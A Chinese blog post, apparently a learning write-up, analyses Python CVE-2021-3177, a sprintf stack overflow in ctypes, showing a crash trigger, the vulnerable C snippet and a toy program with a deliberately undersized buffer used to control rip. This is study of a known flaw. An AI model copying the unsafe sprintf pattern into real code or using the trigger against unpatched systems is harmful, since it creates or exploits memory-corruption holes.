我正在学习缓冲区溢出,同时又对各个语言的安全问题感兴趣。最近看到 Python CVE-2021-3177 ,所以分析一下。
从描述上看,这是一个sprintf函数引发的栈溢出漏洞。
因为本文主要分析的和Python执行流程关系不大,所以也可以忽略第一步调试环境搭建,直接看调试分析。
搭建调试环境
我用的IDE是Clion
先搭建Python调试环境,编译出可调试的Python二进制程序。这一步可以参考官网 Guide
准备好漏洞测试的Python代码
调试分析
在_ctypes/callproc.c
下面代码打好断点
在IDE中可以看到 self->value.d 是double类型,且值就是我们传入的参数。
从这里可以看出来,这个CVE漏洞和下面这段C代码漏洞是一样的
所以接下来我就去研究学习上面的C代码中漏洞是怎么利用的。
sprintf引起的栈溢出分析
网上文章分析sprintf溢出都以sprintf(buf, "%s", s);
举例
对于 "%s" 格式符这种覆盖很容易理解,如果s="a...a" 很多a字符时,就可以将rip覆盖成"\x6161616161616161"。
对于 "%f" 这种用浮点数字去覆盖buf变量,我就有一个疑问,浮点数怎么控制rip指针。比如s=11111111111111112222222233333333.0时,rip会被覆盖成什么?
先说自己的结论:
结论是怎么来的呢?
首先我们要知道浮点数在计算机并不总是能够精确的被表示,只能被近似表示。更具体的细节需要去了解"浮点数在计算机中的存储",可以看文末的参考资料。
所以 double s=11111111111111112222222233333333.0
在内存中,s的值并不一定是 11111111111111112222222233333333.0
我在代码中加了一行printf("%f\n",s);
打印s变量实际的值。
从下面的分析来看,在64位系统上 11111111111111112222222233333333.0 会把rip覆盖成"\x30\x38\x30\x32\x34\x33\x35\x33"。
_ctypes/callproc.c
其他代码有没有相同的栈溢出问题?
self->value.d在_ctypes/ctypes.h文件有定义,是一个union数据类型。
这个union类型中看着好像还有几个字段也能用在sprintf栈溢出中,如下:
在 _ctypes/callproc.c 文件看了看,结论是只有d变量可以利用。
_ctypes/callproc.c文件中,也只有下面的代码sprintf d变量。所以只有这一处是存在栈溢出的。
本文仅仅分析了参数怎么控制rip指针,其中我学习到的点是"浮点数在内存中的表示"。
关于漏洞还有其他很多方面都没有分析,比如:
C语言float、double的内存表示
from
ctypes
import
*
x
=
c_double.from_param(
1e300
)
print
(x)
from
ctypes
import
*
x
=
c_double.from_param(
1e300
)
print
(x)
...
case
'd'
:
sprintf(
buffer
,
"<cparam '%c' (%f)>"
,
self
-
>tag,
self
-
>value.d);
/
/
1e300
break
;
...
...
case
'd'
:
sprintf(
buffer
,
"<cparam '%c' (%f)>"
,
self
-
>tag,
self
-
>value.d);
/
/
1e300
break
;
...
int
main(){
char buf[
2
];
double s
=
1e300
;
/
/
s值用户可控
sprintf(buf,
"%f"
, s);
}
int
main(){
char buf[
2
];
double s
=
1e300
;
/
/
s值用户可控
sprintf(buf,
"%f"
, s);
}
在漏洞代码中,double浮点数可以用来向很大内存中写入 `\x30
-
\x39`、`\x2e` 的字节。
*
只能写入`\x30
-
\x39`、`\x2e`,而不能写其他字节,是因为
%
f 转换成小数只能有`[
0
-
9.
]`,数字
1
-
9
对应的十六进制就是 `\x30`
-
`\x39`
*
能覆盖多大的内存?
*
因为double类型,表示的小数位数能很大,所以至少可以覆盖
300
个字节
*
如果是
float
类型,就要小的多了
在漏洞代码中,double浮点数可以用来向很大内存中写入 `\x30
-
\x39`、`\x2e` 的字节。
*
只能写入`\x30
-
\x39`、`\x2e`,而不能写其他字节,是因为
%
f 转换成小数只能有`[
0
-
9.
]`,数字
1
-
9
对应的十六进制就是 `\x30`
-
`\x39`
*
能覆盖多大的内存?
*
因为double类型,表示的小数位数能很大,所以至少可以覆盖
300
个字节
*
如果是
float
类型,就要小的多了
int
main(){
char buf[
2
];
double s
=
11111111111111112222222233333333.0
;
/
/
16
个
1
,
8
个
2
,
8
个
3
/
/
s实际的值是
1111111111111111
19575513
35342080.000000
/
/
buf栈 rbp rip
printf(
"%f\n"
,s);
/
*
print
("
".join([hex(ord(i)).replace("
0x
","
\\x
") for i in "
35342080
"]))
"35342080"
字符串对应 \x33\x35\x33\x34\x32\x30\x38\x30
>>> x
=
[
hex
(
ord
(i)).replace(
"0x"
,
"\\x"
)
for
i
in
"35342080"
]
>>> x.reverse()
>>>
print
("".join(x))
\x30\x38\x30\x32\x34\x33\x35\x33
*
/
/
/
所以rip会被覆盖成 \x30\x38\x30\x32\x34\x33\x35\x33
/
/
gdb验证后,符合预期
sprintf(buf,
"%f"
, s);
}
int
main(){
char buf[
2
];
double s
=
11111111111111112222222233333333.0
;
/
/
16
个
1
,
8
个
2
,
8
个
3
/
/
s实际的值是
1111111111111111
19575513
35342080.000000
/
/
buf栈 rbp rip
printf(
"%f\n"
,s);
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)